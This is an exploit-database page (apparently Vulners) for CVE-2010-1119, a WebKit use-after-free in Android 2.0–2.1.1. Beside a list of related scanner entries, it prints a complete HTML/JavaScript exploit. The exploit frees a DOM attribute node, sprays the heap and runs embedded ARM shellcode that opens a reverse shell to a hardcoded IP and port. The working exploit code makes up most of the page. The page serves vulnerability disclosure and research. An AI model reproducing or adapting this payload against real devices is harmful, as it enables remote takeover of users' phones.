Vulners
Lucene search
Android 2.0 / 2.1 / 2.1.1 WebKit Use-After-Free
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
 | Safari < 4.1 / 5.0 Multiple Vulnerabilities | 8 Jun 201000:00 | – | nessus |
| iTunes < 9.2 Multiple Vulnerabilities | 17 Jun 201000:00 | – | nessus |
| Apple iOS < 4.0 Multiple Vulnerabilities | 22 Jun 201000:00 | – | nessus |
| Safari < 4.1 / 5.0 Multiple Vulnerabilities | 8 Jun 201000:00 | – | nessus |
| Apple iTunes < 9.2 Multiple Vulnerabilities (credentialed check) | 17 Jun 201000:00 | – | nessus |
| Apple iTunes < 9.2 Multiple Vulnerabilities (uncredentialed check) | 17 Jun 201000:00 | – | nessus |
| Mac OS X : Apple Safari < 5.0 / 4.1 | 8 Jun 201000:00 | – | nessus |
| RHEL 6 : qt (Unpatched Vulnerability) | 3 Jun 202400:00 | – | nessus |
| Safari < 5.0 Multiple Vulnerabilities | 8 Jun 201000:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2010-1119 | 3 Mar 202500:00 | – | nessus |
10
`<html>
<!--
# Exploit Title: android exploit for 2010-1119 use after free
# Date: 2011/03/11
# Author: MJ Keith
# Software Link: http://www.android.com/
# Version: 2.0 ,2.1 , 2.1.1
# Tested on: Android
# CVE : 2010-1119
This is the exploit used in my Austin bsides presentation that returns a shell. The slides are at http://www.slideshare.net/mjza/bsides
email: mkeith AT exploitscience.org
-->
<head>
<script language="JavaScript">
function heap()
{
var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
var scode = unescape("\u0060\u0060");
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\
\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\u000a\u0202"); // IP = 10.0.2.2
shell += unescape("\u2000\u2000"); // string terminate
do
{
scode += scode;
scode2 += scode2;
} while (scode.length<=0x1000);
scode2 += shell
target = new Array();
for(i = 0; i < 300; i++){
if (i<130){ target[i] = scode;}
if (i>130){ target[i] = scode2;}
document.write(target[i]);
document.write("<br />");
if (i>250){
// alert("freeze");
nodes[0].textContent}
}
}, 0);
}
</script>
</head>
<body onload=heap()>
<p id=target></p>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Mar 2011 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.52397